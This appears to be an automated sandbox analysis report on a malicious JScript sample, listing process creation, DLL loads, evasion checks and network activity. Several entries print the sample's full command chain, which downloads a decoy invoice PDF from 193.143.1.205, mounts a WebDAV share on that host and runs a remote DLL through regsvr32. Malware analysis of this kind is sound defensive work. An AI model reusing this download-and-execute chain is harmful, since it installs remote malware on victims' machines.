Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3712.js.csv");ITextStream.WriteLine(" entry:7898 f:phkfbm");ITextStream.WriteLine(" exec:2 f:phkfbm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3900			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5735			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1700	Thread sleep count: 3900 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1700	Thread sleep count: 5735 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2852	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3276	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2420	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3716	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1944	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3368	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1456928982.000001B6F8B4E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457786545.000001B6F8AE8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2703360788.000001882D02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2706149624.0000018832659000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll	Jump to behavior
